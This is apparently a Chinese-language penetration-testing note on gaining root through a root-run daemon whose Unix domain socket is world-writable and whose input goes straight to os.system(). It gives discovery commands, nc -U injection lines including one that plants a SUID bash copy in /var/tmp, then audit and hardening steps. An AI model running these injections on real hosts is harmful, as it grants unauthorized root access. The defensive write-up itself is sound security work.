跳到主要内容

Unix domain socket 提权

自研守护进程常以 root 运行,并用 Unix domain socket 提供本地接口。如果 socket 文件权限过宽(如 0777),且服务端把收到的文本直接交给 os.system() 或 shell 执行,任何本地用户都能借这条通道以 root 身份执行命令。


判断前提

条件说明
root 进程监听 Unix socketps aux 中 root 运行的自研守护进程
socket 文件权限过宽0777 等任何本地用户可连接
收到的文本直接进 shell服务端用 os.system() 或 shell 拼接执行

发现

ss -xlpn | grep <关键词>
find / -type s -perm 0777 2>/dev/null
ps aux

ss -xlpn 列出本机监听的 Unix socket;find 直接按权限筛选 socket 文件;再结合 ps aux 中 root 运行的自研守护进程,判断哪个进程在监听目标 socket。


利用

echo "RUN id > /tmp/out.txt 2>&1" | nc -U /tmp/daemon.sock
cat /tmp/out.txt

os.system() 没有回显时,把命令输出重定向到文件再读取。也可以注入落地类命令,例如写入 authorized_keys 或生成 SUID bash:

echo "RUN cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash" | nc -U /tmp/daemon.sock

SUID 副本放 /var/tmp,避开 /tmp 常见的 nosuid 挂载。


审计清单

  1. ss -xlpn 中是否有非常见路径的 socket,属主是否为 root。
  2. socket 文件权限是否宽于预期,find -type s -perm 0777 有无结果。
  3. 守护进程源码中外部输入是否拼接进 os.system() 或 shell 调用。
  4. 命令无回显时,能否通过输出重定向读到执行结果。

防御建议

  1. socket 权限收敛为 0660 并限定专用组。
  2. 协议白名单化,不把外部输入透传给 shell。
  3. 守护进程降权运行,仅保留必需权限。
  4. 对 socket 创建与连接行为做监控。